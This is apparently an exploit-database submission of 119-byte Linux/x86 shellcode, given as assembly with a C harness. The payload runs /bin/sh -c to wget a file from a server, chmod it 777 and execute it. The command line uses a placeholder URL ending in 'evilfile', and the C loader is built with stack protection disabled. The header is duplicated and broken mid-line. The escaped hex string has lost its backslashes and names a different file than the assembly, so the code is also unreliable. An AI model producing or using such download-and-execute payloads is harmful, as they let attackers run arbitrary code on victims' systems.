# Exploit Title: Linux/x86 wget chmod execute over execve /bin/sh -c shellcode (119 bytes)
# Google Dork: None
# Date: 08.12.2018
# Exploit Author: strider
# Vendor Homepage: None< # Exploit Title: Linux/x86 wget chmod execute over execve /bin/sh -c shellcode (119 bytes)
# Google Dork: None
# Date: 08.12.2018
# Exploit Author: strider
# Vendor Homepage: None
# Software Link: None
# Tested on: Debian 9 Stretch i386/ Kali Linux i386
# CVE : None
# Shellcode Length: 119
------------------------------[Description]---------------------------------

This shellcode use execve syscall to run /bin/sh -c which executes wget to download a file from a your server.
After download it executes chmod 777 to your downloaded file and execute your file

-----------------------------[Shellcode Dump]---------------------------------

section .text

global _start

_start:
xor eax, eax
push eax
jmp short _execline

_exec:
pop ecx
mov edi, ecx
xor ecx, ecx
push eax
push 0x68732f6e
push 0x69622f2f
mov ebx, esp

push eax
push word 0x632d
mov esi , esp


push eax
push edi
push esi
push ebx

mov ecx, esp
mov al, 11
int 0x80


_execline:
call _exec
line db "/usr/bin/wget http://127.0.0.1:8080/evilfile && /bin/chmod 777 evilfile && ./evilfile", 0x0a


-----------------------------[Compile]---------------------------------------------
gcc -m32 -fno-stack-protector -z execstack -o tester tester.c

-----------------------------[C-Code]-----------------------------

#include <stdio.h>
#include <string.h>

unsigned char shellcode[] = "x31xc0x50xebx23x59x89xcfx31xc9x50x68x6ex2fx73x68x68x2fx2fx62x69x89xe3x50x66x68x2dx63x89xe6x50x57x56x53x89xe1xb0x0bxcdx80xe8xd8xffxffxffx2fx75x73x72x2fx62x69x6ex2fx77x67x65x74x20x68x74x74x70x3ax2fx2fx31x32x37x2ex30x2ex30x2ex31x3ax38x30x38x30x2fx33x41x64x72x20x26x26x20x2fx62x69x6ex2fx63x68x6dx6fx64x20x37x37x37x20x33x41x64x72x20x26x26x20x2ex2fx33x41x64x72x0a";

void main()
{
printf("Shellcode Length: %d ", strlen(shellcode));

int (*ret)() = (int(*)())shellcode;
ret();
}